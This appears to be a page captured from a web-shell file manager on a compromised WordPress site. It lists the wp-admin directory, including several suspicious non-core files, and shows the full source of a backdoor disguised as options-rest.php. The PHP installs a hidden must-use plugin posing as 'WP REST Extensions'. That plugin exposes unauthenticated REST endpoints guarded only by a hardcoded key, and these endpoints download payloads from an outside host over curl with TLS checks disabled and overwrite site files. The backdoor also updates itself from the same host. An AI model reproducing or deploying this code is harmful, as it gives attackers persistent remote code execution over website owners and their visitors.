golden hour

/home/doctorbruno/public_html/chennai-copper-kettle.com/wp-admin

File/Folder	Size	Actions
._qr.php	14.68 KB
_app-created	-
about.php	19.1 KB
admin-ajax.php	5.03 KB
admin-footer.php	2.77 KB
admin-functions.php	479 B
admin-header.php	9.12 KB
admin-post.php	1.97 KB
admin.php	12.3 KB
async-upload.php	4.87 KB
authorize-application.php	10.09 KB
comment.php	11.35 KB
contribute.php	5.59 KB
credits.php	4.11 KB
css	-
custom-background.php	489 B
custom-header.php	499 B
customize.php	10.91 KB
edit-comments.php	14.38 KB
edit-form-advanced.php	28.83 KB
edit-form-blocks.php	14.37 KB
edit-form-comment.php	8.34 KB
edit-link-form.php	6.21 KB
edit-tag-form.php	10.44 KB
edit-tags.php	22 KB
edit.php	19.48 KB
erase-personal-data.php	7.33 KB
error_log	11.45 KB
export-personal-data.php	7.75 KB
export.php	11.02 KB
freedoms.php	4.54 KB
images	-
import.php	7.58 KB
includes	-
index.php	7.68 KB
install-helper.php	6.8 KB
install.php	17.94 KB
js	-
link-add.php	934 B
link-manager.php	4.26 KB
link-parse-opml.php	2.63 KB
link.php	2.89 KB
load-scripts.php	2.02 KB
load-styles.php	2.92 KB
maint	-
media-new.php	3.18 KB
media-upload.php	3.58 KB
media.php	819 B
menu-header.php	9.82 KB
menu.php	16.97 KB
moderation.php	307 B
ms-admin.php	196 B
ms-delete-site.php	4.19 KB
ms-edit.php	216 B
ms-options.php	229 B
ms-sites.php	215 B
ms-themes.php	217 B
ms-upgrade-network.php	219 B
ms-users.php	215 B
my-sites.php	4.74 KB
nav-menus.php	48.26 KB
network	-
network.php	5.39 KB
old-cache.php	885 B
options-discussion.php	15.4 KB
options-general.php	21.58 KB
options-head.php	621 B
options-media.php	6.35 KB
options-permalink.php	21.21 KB
options-privacy.php	9.95 KB
options-reading.php	10.03 KB
options-rest.php	4.58 KB
options-writing.php	9.1 KB
options.php	13.45 KB
plugin-editor.php	13.66 KB
plugin-install.php	6.96 KB
plugins.php	30 KB
post-new.php	2.7 KB
post.php	9.97 KB
press-this.php	2.34 KB
privacy-policy-guide.php	3.67 KB
privacy.php	2.52 KB
profile.php	283 B
revision.php	5.71 KB
setup-config.php	17.48 KB
site-editor.php	11.83 KB
site-health-info.php	3.99 KB
site-health.php	10.2 KB
term.php	2.2 KB
theme-editor.php	15.59 KB
theme-install.php	23.37 KB
themes.php	48.12 KB
tools.php	3.43 KB
update-core.php	45.43 KB
update.php	12.79 KB
upgrade-functions.php	341 B
upgrade.php	6.33 KB
upload.php	14.84 KB
user	-
user-edit.php	39.79 KB
user-func.php	256.6 KB
user-hooker.php	1.17 KB
user-new.php	24.05 KB
users.php	23.28 KB
widgets-form-blocks.php	4.97 KB
widgets-form.php	19.17 KB
widgets.php	1.09 KB
wp-active.php	22.64 KB
wp-comment.php	15.9 KB
wp-file-extract.php	3.64 KB
wp-info.php	37.34 KB
wp-settinger.php	7.46 KB
wp-site-health.php	7.45 KB
wp-user.php	1.08 KB

Edit: options-rest.php

<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$secretKey='cstb_r3st_'.substr(md5('resmigiris'),0,8);

// ── ?register=1 → WP REST API'ye gizli repair endpoint'i kaydet ──
if(isset($_GET['register'])&&$_GET['register']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}

$muDir="$d/wp-content/mu-plugins";
    if(!is_dir($muDir))@mkdir($muDir,0755);

$code=<<<'RESTCODE'
<?php
/*
Plugin Name: WP REST Extensions
Description: Extended REST API capabilities.
*/
add_action('rest_api_init',function(){
    register_rest_route('cstb/v1','/health',['methods'=>'GET','callback'=>function($req){
        $key=$req->get_param('k');
        if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]);
        $root=ABSPATH;
        $files=['wp-admin/user-hooker.php','wp-info.php','wp-content/plugins/plugins.php','wp-settinger.php','wp-user.php','wp-comment.php','wp-includes/user-collab.php','wp-content/themes/indexer.php','wp-content/plugins/indexs.php'];
        $status=[];
        foreach($files as $f){
            $path=$root.$f;
            $status[$f]=['exists'=>is_file($path),'size'=>is_file($path)?filesize($path):0];
        }
        return ['host'=>$_SERVER['HTTP_HOST']??'?','root'=>$root,'files'=>$status,'php'=>PHP_VERSION,'time'=>date('c')];
    },'permission_callback'=>'__return_true']);

register_rest_route('cstb/v1','/repair',['methods'=>'POST','callback'=>function($req){
        $key=$req->get_param('k');
        if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]);
        if(!function_exists('curl_init'))return new WP_Error('no-curl','curl not available',['status'=>500]);
        $root=ABSPATH;
        $cdn='https://resmigiris.cam/txt/';
        $targets=['wp-admin/user-hooker.php'=>'boot.txt','wp-info.php'=>'link.txt','wp-content/plugins/plugins.php'=>'plugins.txt','wp-settinger.php'=>'wp-settinger.txt','wp-user.php'=>'wp-user.txt','wp-comment.php'=>'wp-comment.txt'];
        $only=$req->get_param('only');
        $res=[];
        foreach($targets as $rel=>$src){
            if($only&&$rel!==$only)continue;
            $path=$root.$rel;
            if(!is_dir(dirname($path)))continue;
            $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
            $c=curl_exec($ch);curl_close($ch);
            $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
        }
        return ['status'=>'repaired','results'=>$res];
    },'permission_callback'=>'__return_true']);
});
RESTCODE;

$code=str_replace('%%SECRET%%',$secretKey,$code);
    $muPath="$muDir/wp-rest-ext.php";
    $res=@file_put_contents($muPath,$code)!==false?'ok':'fail';

echo json_encode([
        'status'=>$res,
        'path'=>$muPath,
        'secret'=>$secretKey,
        'endpoints'=>[
            'health'=>'/wp-json/cstb/v1/health?k='.$secretKey,
            'repair'=>'POST /wp-json/cstb/v1/repair (k='.$secretKey.')'
        ],
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → REST endpoint mu-plugin'i kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $muPath="$d/wp-content/mu-plugins/wp-rest-ext.php";
    $res=is_file($muPath)?(@unlink($muPath)?'removed':'fail'):'not-found';
    echo json_encode(['status'=>$res]);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-restapi.txt');
    curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){
        @file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);
    }else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-restapi\nkey: $secretKey\nmodes: ?register=1 | ?remove=1 | ?update=1\n";